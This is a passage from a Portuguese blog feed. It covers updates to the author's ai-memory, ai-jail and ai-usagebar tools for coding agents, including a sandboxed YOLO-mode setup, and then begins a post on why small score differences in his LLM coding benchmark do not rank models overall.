    <a href="#prefer%c3%aancias-globais-e-busca-entre-projetos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Preferências que valem pra todo meu trabalho agora podem viver no escopo reservado <code>_global</code>: estilo de código, ferramentas que prefiro, regras pessoais e convenções que não pertencem a um repositório específico. Consultas normais já fazem union desse escopo com o projeto atual.</p>
<p>Pra meta-repos que precisam consultar vários projetos irmãos o tempo todo, existe outro opt-in:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="p">[</span><span class="nx">recall</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">default_global</span> <span class="p">=</span> <span class="s2">&#34;true&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Assim <code>memory_query</code> e <code>memory_recent</code> sem escopo explícito procuram em todos os projetos. Não ligo isso em qualquer repo porque busca global à toa só traz ruído.</p>
<h3>Menos instrução fixa, mais Agent Skills<span class="hx:absolute hx:-mt-20" id="menos-instrução-fixa-mais-agent-skills"></span>
    <a href="#menos-instru%c3%a7%c3%a3o-fixa-mais-agent-skills" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O bloco de routing em <code>CLAUDE.md</code> ou <code>AGENTS.md</code> ficou pequeno. As instruções detalhadas de quando buscar memória, consolidar, guardar decisão ou criar handoff foram movidas pra Agent Skills gerenciadas. Um comando instala ou atualiza os dois sem atropelar o resto do arquivo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-memory install-instructions</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso também reduz drift. Quando o protocolo muda, atualizo o pacote gerenciado em vez de caçar um prompt velho copiado em quarenta repositórios.</p>
<h3>Privacidade antes da rede<span class="hx:absolute hx:-mt-20" id="privacidade-antes-da-rede"></span>
    <a href="#privacidade-antes-da-rede" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Agora cada repo pode excluir caminhos da captura:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="p">[</span><span class="nx">capture</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">ignore_paths</span> <span class="p">=</span> <span class="p">[</span><span class="s2">&#34;private/**&#34;</span><span class="p">,</span> <span class="s2">&#34;~/personal-notes/**&#34;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando uma integração reconhece uma file tool e o caminho bate, o evento é descartado localmente antes de spool, fila, rede ou servidor. Isso tem limites claros: não é DLP mágico, não interpreta qualquer shell command e não rastreia conteúdo citado em texto livre. Mas resolve o caso verificável sem vender uma garantia falsa.</p>
<p>Também entraram integrações com Kimi Code, Grok Build CLI, Devin e Zero, um provider OpenCode Zen/Go, <code>finalize-session</code> pro Codex e melhorias na administração de workspaces. Reforço: ter MCP e hook não significa automaticamente ter <code>ai-memory run</code>. O <a href="https://github.com/akitaonrails/ai-memory#support-matrix"target="_blank" rel="noopener">README</a> separa esses níveis.</p>
<h2>Bônus: ai-jail por fora, YOLO por dentro<span class="hx:absolute hx:-mt-20" id="bônus-ai-jail-por-fora-yolo-por-dentro"></span>
    <a href="#b%c3%b4nus-ai-jail-por-fora-yolo-por-dentro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Há pouco mais de uma semana escrevi <a href="/2026/07/11/como-me-precaver-pros-meus-agentes-nao-apagarem-minhas-coisas/">como me protejo pra agentes não apagarem minhas coisas</a>. Minha recomendação continua a mesma: YOLO mode dá a melhor experiência, desde que o sistema limite o estrago possível.</p>
<p>O <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a> chegou à versão 1.15.0 e agora entende o launcher do ai-memory. O jeito que mais estou gostando de trabalhar virou:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail ai-memory run codex --yolo</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou, se quero que o ai-memory escolha qual harness deve continuar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail ai-memory run --yolo</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A ordem importa. <code>ai-jail</code> fica por fora para manter tanto o launcher quanto o processo filho na mesma sandbox. <code>ai-memory run</code> sozinho gerencia a sessão, mas não cria sandbox.</p>
<p>O <code>--yolo</code> desliga a cerimônia de aprovação do harness. O ai-jail faz a contenção: projeto atual read-write, home substituído por tmpfs, partes necessárias do estado dos agentes montadas seletivamente e diretórios sensíveis como <code>.ssh</code>, <code>.gnupg</code> e <code>.aws</code> fora da jaula. O suporte novo também deixa o estado local do ai-memory gravável pros hooks manterem spool e cursores entre execuções.</p>
<p>ai-jail reconhece tanto a camada <code>ai-memory</code> quanto o harness selecionado. Se você tem configuração global específica pra Codex, por exemplo, ela continua sendo aplicada quando o comando real é <code>ai-memory run codex</code>. Até o ajuste de redraw da status bar entende que o filho é Codex.</p>
<p>Essa combinação resolve as duas irritações ao mesmo tempo: o agente para de pedir confirmação a cada comando e a sessão para de pertencer ao agente. Fluidez sem dar o home inteiro de presente.</p>
<h2>One more thing: ai-usagebar também cresceu<span class="hx:absolute hx:-mt-20" id="one-more-thing-ai-usagebar-também-cresceu"></span>
    <a href="#one-more-thing-ai-usagebar-tamb%c3%a9m-cresceu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando publiquei o <a href="/2026/05/24/criei-widget-waybar-omarchy-monitorar-uso-llms-ai-usagebar/">ai-usagebar original</a>, ele monitorava Claude, Codex, Z.AI e OpenRouter num widget da Waybar ou numa TUI. A versão 0.14.0 já cobre <strong>onze integrações de uso, gasto ou saldo</strong>.</p>
<p>Kimi ganhou as duas informações que realmente importam pra coding: quota semanal da assinatura e janela móvel de cinco horas. Kilo, Novita, Moonshot e Grok mostram saldo restante. Uma integração separada da Anthropic Console mostra gasto de API no mês, sem confundir isso com a assinatura do Claude Code. Ela deixa explícito que o Cost API não inclui Priority Tier.</p>
<p>Também dá pra cadastrar várias contas da Anthropic, ver limites semanais específicos de modelos como Fable e enxergar um marcador de ritmo. A barra não fica vermelha só porque chegou em 40%; ela compara o percentual gasto com quanto da janela já passou. Se usei 40% em 20% da semana, estou rápido demais. Essa é a informação útil.</p>
<p>O projeto deixou de ser só Waybar. Tem app nativo de menu bar no macOS, extensão do GNOME e a TUI standalone. E a novidade mais recente é um monitor local de contexto do Claude Code: aperto <code>c</code>, escolho uma das sessões recentes e vejo quanto da janela já foi consumido. Ele lê caudas limitadas dos JSONL locais e não inventa porcentagem quando não consegue determinar o tamanho da janela.</p>
<p>No meu fluxo, o trio acaba se encontrando naturalmente. <code>ai-usagebar</code> mostra qual assinatura ainda tem espaço. <code>ai-memory run</code> troca de harness sem jogar fora o trabalho. <code>ai-jail</code> deixa o escolhido trabalhar em YOLO sem acesso irrestrito à máquina.</p>
<h2>Atualizando<span class="hx:absolute hx:-mt-20" id="atualizando"></span>
    <a href="#atualizando" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>As páginas de instalação dos três projetos têm todos os métodos, incluindo AUR, Homebrew e binários de release:</p>
<ul>
<li><a href="https://github.com/akitaonrails/ai-memory"target="_blank" rel="noopener">ai-memory</a></li>
<li><a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a></li>
<li><a href="https://github.com/akitaonrails/ai-usagebar"target="_blank" rel="noopener">ai-usagebar</a></li>
</ul>
<p>Depois de atualizar o ai-memory, reinstale os hooks dos harnesses que pretende usar no modo gerenciado. Os três principais no meu caso:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-memory install-hooks --agent claude-code --apply
</span></span><span class="line"><span class="cl">ai-memory install-hooks --agent codex --apply
</span></span><span class="line"><span class="cl">ai-memory install-hooks --agent opencode --apply</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Crush não precisa de hook no modo gerenciado; ele recebe o contexto por um arquivo temporário configurado só pro processo lançado. A <a href="https://github.com/akitaonrails/ai-memory/blob/main/docs/managed-workstreams.md"target="_blank" rel="noopener">documentação de managed workstreams</a> tem os detalhes de instalação, privacidade, recuperação e os argumentos nativos de cada adapter.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Um mês atrás, o ai-memory já conseguia transformar sessão em wiki e entregar um handoff pro próximo agente. Agora ele consegue gerenciar a própria linha de trabalho: adota uma sessão existente, mantém uma sessão nativa por harness, transporta o histórico visível, retoma cada cliente no formato dele e deixa o ledger inteiro pesquisável.</p>
<p>Pra mim, é aí que está o valor. O código contém a implementação que venceu. A sessão contém as decisões, experimentos que falharam, gotchas, bugs inesperados e mudanças de ideia que produziram aquela implementação. Jogar isso fora toda vez que muda de provider é desperdício.</p>
<p>Raw transcript também não resolve sozinho. É grande, repetitivo e caro pra enfiar em qualquer contexto. O ai-memory mantém a evidência, entrega só o delta recente e usa consolidação pra transformar o que merece sobreviver em páginas Markdown curtas.</p>
<p>Ainda há formatos novos pra suportar, arestas de plataforma e muito teste pela frente. A diferença é que agora existe uma base real, com acceptance test chamando harness de verdade, 14 contribuidores externos com PR mergeado em pouco mais de um mês e uso diário empurrando o desenho.</p>
<p>LLM e assinatura eu alugo de quem estiver entregando melhor hoje. A sessão do meu projeto fica comigo.</p>
]]></content:encoded><category>ai-memory</category><category>agentes-de-codigo</category><category>ai-jail</category><category>ai-usagebar</category></item><item><title>LLM Benchmark: Devo usar o que tem nota maior?</title><link>https://www.akitaonrails.com/2026/07/19/llm-benchmark-devo-usar-o-que-tem-nota-maior/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/19/llm-benchmark-devo-usar-o-que-tem-nota-maior/</guid><pubDate>Sun, 19 Jul 2026 12:00:00 GMT</pubDate><description>&lt;p&gt;Toda vez que publico uma rodada do meu benchmark, alguém abre a tabela, olha as primeiras linhas e pergunta:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Por que o Opus 4.7 está acima do Opus 4.8 e do Fable 5?&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ou então:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Quer dizer que GPT 5.4 é melhor que GPT 5.5 e 5.6?&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Não. Quer dizer que a tabela foi ordenada por uma coluna chamada &lt;code&gt;score&lt;/code&gt;. Só isso.&lt;/p&gt;
&lt;p&gt;Ranking precisa de uma ordem pra ser legível. O erro é transformar essa ordem de apresentação num campeonato mundial de inteligência. O primeiro colocado não ganhou de todos os outros em tudo. Ele gerou o artefato que recebeu a maior nota &lt;strong&gt;nesse teste, nessa rodada, nesse harness, com esse prompt e segundo essa rubrica&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Toda vez que publico uma rodada do meu benchmark, alguém abre a tabela, olha as primeiras linhas e pergunta:</p>
<blockquote>
  <p>&ldquo;Por que o Opus 4.7 está acima do Opus 4.8 e do Fable 5?&rdquo;</p>

</blockquote>
<p>Ou então:</p>
<blockquote>
  <p>&ldquo;Quer dizer que GPT 5.4 é melhor que GPT 5.5 e 5.6?&rdquo;</p>

</blockquote>
<p>Não. Quer dizer que a tabela foi ordenada por uma coluna chamada <code>score</code>. Só isso.</p>
<p>Ranking precisa de uma ordem pra ser legível. O erro é transformar essa ordem de apresentação num campeonato mundial de inteligência. O primeiro colocado não ganhou de todos os outros em tudo. Ele gerou o artefato que recebeu a maior nota <strong>nesse teste, nessa rodada, nesse harness, com esse prompt e segundo essa rubrica</strong>.</p>
<p>Esse artigo é pra explicar como eu mesmo leio o <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">meu benchmark aberto</a>, por que considero tudo acima de 90 mais ou menos o mesmo cluster, e por que ninguém deveria terceirizar a escolha de modelo pra uma tabela. Nem pra minha.</p>
<h2>A nota é do projeto, não do modelo inteiro<span class="hx:absolute hx:-mt-20" id="a-nota-é-do-projeto-não-do-modelo-inteiro"></span>
    <a href="#a-nota-%c3%a9-do-projeto-n%c3%a3o-do-modelo-inteiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O benchmark nasceu no artigo <a href="/2026/04/05/testando-llms-open-source-e-comerciais-quem-consegue-bater-o-claude-opus/">Testando LLMs Open Source e Comerciais</a> e ganhou a metodologia atual na <a href="/2026/04/24/llm-benchmarks-parte-3-deepseek-kimi-mimo/">Parte 3, que virou a referência canônica</a>.</p>
<p>Todos recebem o mesmo trabalho: construir autonomamente um app pequeno de chat em Rails 8, usando RubyLLM, Hotwire, Tailwind, testes, ferramentas de CI, Dockerfile, Compose e documentação. Depois eu avalio o resultado em oito dimensões: completude, correção da API do RubyLLM, qualidade dos testes, tratamento de erros, persistência, Hotwire, arquitetura e prontidão pra produção.</p>
<p>Repara no sujeito da frase: eu avalio <strong>o resultado</strong>.</p>
<p>O modelo não entra numa máquina de ressonância magnética que descobre quanto de &ldquo;inteligência&rdquo; tem lá dentro. Ele recebe um prompt, usa ferramentas, escreve um projeto e para. A nota é uma avaliação daquele projeto. Pra classificar toda a capacidade de um LLM, teríamos que testar todos os problemas possíveis, em todas as linguagens, com qualquer prompt, contexto, ferramenta e combinação de requisitos. Boa sorte.</p>
<p>O que realmente aparece na tabela é algo mais parecido com isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">resultado = modelo + prompt + harness + contexto + tools + snapshot + execução + auditoria</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A gente ordena por score porque uma tabela sem ordem é ruim de consultar. A ordenação não transforma uma amostra em lei da natureza.</p>
<h2>LLM não faz a mesma prova duas vezes<span class="hx:absolute hx:-mt-20" id="llm-não-faz-a-mesma-prova-duas-vezes"></span>
    <a href="#llm-n%c3%a3o-faz-a-mesma-prova-duas-vezes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>LLMs não são determinísticas. Mesmo prompt não garante os mesmos tokens, as mesmas decisões de arquitetura ou a mesma sequência de tool calls. Em coding agent, ainda entram outputs do terminal, tempo de resposta, contexto acumulado, compaction e o comportamento do harness. Se o provedor atualiza um alias entre uma segunda-feira e outra, mudou mais uma variável sem você tocar em nada.</p>
<p>Eu já tinha tropeçado nisso na <a href="/2026/04/18/llm-benchmarks-parte-2-multiplos-modelos/">Parte 2 do benchmark</a>. O ranking daquele artigo ficou obsoleto quando corrigi a auditoria do RubyLLM, mas o experimento de variância continua válido: o mesmo Opus 4.7, com o mesmo prompt, produziu resultados espalhados entre Tier 1 e Tier 3 em harnesses diferentes. Naquela época eu escrevi que benchmark de uma ou três rodadas não bastava pra afirmar qualidade absoluta. Continua não bastando.</p>
<p>Tem um exemplo mais recente e limpo. O Fable 5 foi rodado de novo depois do re-release usando o mesmo model ID no OpenRouter. A primeira execução fez <strong>94 pontos em 24 minutos</strong>. A segunda fez <strong>93 em 18 minutos</strong>. Projetos diferentes, defeitos diferentes, custo diferente. Um ponto de score é ruído até dentro do &ldquo;mesmo&rdquo; modelo.</p>
<p>O harness também pode mudar tudo. O DeepSeek V4 Pro ficou em 69 com DNF no OpenCode e chegou a 89 via DeepClaude. Kimi K2.7 fez 86 via OpenCode/OpenRouter e cerca de 68 numa rodada informal pelo Kimi Code CLI. Há ressalvas de snapshot e endpoint nos dois casos, justamente porque nunca conseguimos isolar perfeitamente só o modelo. Benchmark de agente mede o pacote inteiro.</p>
<h2>Acima de 90, leia como um grupo<span class="hx:absolute hx:-mt-20" id="acima-de-90-leia-como-um-grupo"></span>
    <a href="#acima-de-90-leia-como-um-grupo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O topo atual ficou assim. Os números vêm do <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/success_report.md"target="_blank" rel="noopener">relatório completo do benchmark</a>:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo da rodada</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Claude Opus 4.7</td>
          <td style="text-align: right">97</td>
          <td style="text-align: right">18 min</td>
          <td style="text-align: right">~$7,00</td>
      </tr>
      <tr>
          <td>GPT 5.4 xHigh</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">22 min</td>
          <td style="text-align: right">~$16</td>
      </tr>
      <tr>
          <td>Claude Opus 4.8</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">17 min</td>
          <td style="text-align: right">~$6,40</td>
      </tr>
      <tr>
          <td>Claude Fable 5</td>
          <td style="text-align: right">94</td>
          <td style="text-align: right">24 min</td>
          <td style="text-align: right">~$11,20</td>
      </tr>
      <tr>
          <td>Claude Fable 5 (re-release)</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">18 min</td>
          <td style="text-align: right">~$8,30</td>
      </tr>
      <tr>
          <td>Gemini 3.5 Flash</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">18 min</td>
          <td style="text-align: right">~$3,55</td>
      </tr>
      <tr>
          <td>GPT 5.6 Sol xHigh</td>
          <td style="text-align: right">92</td>
          <td style="text-align: right">17 min</td>
          <td style="text-align: right">créditos (~$8,70 equivalente em API)</td>
      </tr>
  </tbody>
</table>
<p>Pra mim, tudo aí está no mesmo <strong>ballpark</strong>. Não existe amostragem suficiente pra dizer que 97 é 2,1% &ldquo;mais inteligente&rdquo; que 95, muito menos que será melhor numa migração de banco, num refactor de Rust ou numa investigação de race condition.</p>
<p>Há também efeito de teto. O app do benchmark é real e tem bastante detalhe chato, mas continua sendo um projeto Rails greenfield pequeno, com escopo fechado. Os melhores modelos já saturaram a tarefa. Daí a ordem do topo acaba sendo decidida por escolhas pontuais: um guard de API key, o lugar onde persistiu a conversa, um cap de cookie, um teste de erro que faltou, um Dockerfile de desenvolvimento em vez de produção.</p>
<p>Esses detalhes importam pro projeto. Só não provam uma hierarquia universal entre os modelos.</p>
<p>Já a distância entre <strong>Tier A e Tier C</strong> quer dizer bem mais. A rubrica define Tier A como algo que sobe como está ou exige um patch curto. Tier C tem core quebrado ou precisa de rework grande. Não sei dizer se um modelo de 97 é realmente melhor que um de 93 em qualquer tarefa futura. Sei dizer que um grupo que entrega RubyLLM correto, testes úteis e imagem de produção está em outra categoria do grupo que inventa API e testa o próprio mock errado.</p>
<p>Primeiro escolha o grupo. Depois discuta custo, velocidade, assinatura, harness e preferência de uso. Brigar pela posição exata dentro do cluster dos 90 é precisão inventada.</p>
<h2>Então por que Opus 4.7 fica acima do 4.8 e do Fable?<span class="hx:absolute hx:-mt-20" id="então-por-que-opus-47-fica-acima-do-48-e-do-fable"></span>
    <a href="#ent%c3%a3o-por-que-opus-47-fica-acima-do-48-e-do-fable" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Porque o projeto gerado pelo Opus 4.7 encaixou melhor na rubrica. A integração RubyLLM estava correta, os doubles de teste imitavam as assinaturas reais, a persistência em session cookie era multi-worker safe e os caminhos de erro estavam cobertos. Na auditoria atual, não sobrou defeito concreto grande pra descontar.</p>
<p>O Opus 4.8 também escreveu um projeto excelente, fez validação real de Rails, Docker, Compose e chamada ao OpenRouter, e terminou um minuto mais rápido. Perdeu dois pontos porque o histórico no cookie não tinha cap e podia bater no limite de 4 KB, além de não fazer preflight explícito da API key.</p>
<p>O Fable 5 corrigiu justamente essas duas coisas. Em compensação, escolheu persistência num singleton dentro do processo. A conversa some num restart e não funciona direito com múltiplos workers. Essa decisão custou o ponto que o deixou abaixo do 4.8. O próprio cross-audit cego observou que trocar o store por <code>Rails.cache</code> provavelmente inverteria a ordem.</p>
<p>Isso responde por que a <strong>nota do artefato</strong> ficou 97, 95 e 94. Pra analisar uma codebase de 500 mil linhas, a tabela não responde nada.</p>
<p>Os dados de eficiência contam outra história:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Tokens somados nos logs</th>
          <th style="text-align: right">Tarifa de input/output</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Opus 4.7</td>
          <td style="text-align: right">97</td>
          <td style="text-align: right">18m12s</td>
          <td style="text-align: right">9,78M</td>
          <td style="text-align: right">$5 / $25 por milhão</td>
      </tr>
      <tr>
          <td>Opus 4.8</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">16m48s</td>
          <td style="text-align: right">8,28M</td>
          <td style="text-align: right">$5 / $25 por milhão</td>
      </tr>
      <tr>
          <td>Fable 5</td>
          <td style="text-align: right">94</td>
          <td style="text-align: right">24m19s</td>
          <td style="text-align: right">6,03M</td>
          <td style="text-align: right">$10 / $50 por milhão</td>
      </tr>
  </tbody>
</table>
<p>Essa soma inclui input, output, cache write e cache read de todos os eventos <code>step_finish</code> nas duas fases. Com a mesma tarifa do 4.7, o 4.8 usou 15% menos tokens faturáveis e acabou mais rápido. A própria Anthropic descreveu o <a href="https://www.anthropic.com/research/claude-opus-4-8"target="_blank" rel="noopener">Opus 4.8 como uma melhoria modesta sobre o 4.7</a>, manteve o preço e destacou eficiência de tool calling. Meu run combina com essa história. Uma rodada ainda não prova a causa.</p>
<p>Fable custa o dobro por token e, nesse problema, não comprou um projeto melhor. Isso só diz que esse app pequeno não exigiu o tipo de capacidade extra que a Anthropic vende no Fable. Pode ser modelo demais pra prova.</p>
<p>Minha leitura pessoal é que o Opus chegou ao platô desse benchmark no 4.7. O 4.8 refinou eficiência e comportamento. Fable foi pra outra faixa de capacidade e preço, mas o teste não conseguiu extrair essa diferença. É uma hipótese a partir dos resultados, não conhecimento sobre o treinamento interno da Anthropic.</p>
<h2>E por que GPT 5.4 aparece acima do 5.5 e do 5.6?<span class="hx:absolute hx:-mt-20" id="e-por-que-gpt-54-aparece-acima-do-55-e-do-56"></span>
    <a href="#e-por-que-gpt-54-aparece-acima-do-55-e-do-56" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>De novo: decisões diferentes nos projetos gerados.</p>
<p>O GPT 5.4 fez preflight de API key, diferenciou erro de configuração de erro do provider, usou cache com TTL e cap de mensagens e separou form object do domínio. Perdeu pontos porque o Dockerfile era uma imagem de desenvolvimento rodando como root.</p>
<p>O GPT 5.5 acertou a integração e o multi-turn, mas repetiu o Dockerfile de desenvolvimento, não testou nenhum caminho de erro e deixou o cookie sem limite de bytes. Caiu pra 85 na reauditoria.</p>
<p>O GPT 5.6 Sol voltou a 92 com engenharia defensiva muito melhor, Docker multi-stage non-root e 99,2% de cobertura. Ficou sem system prompt e carregou o histórico num hidden field do cliente. A rubrica desconta isso porque a conversa se perde no reload e pode ser adulterada.</p>
<p>Agora olha eficiência:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Tokens totais</th>
          <th style="text-align: right">Custo da rodada</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPT 5.4 xHigh</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">22 min</td>
          <td style="text-align: right">7,64M</td>
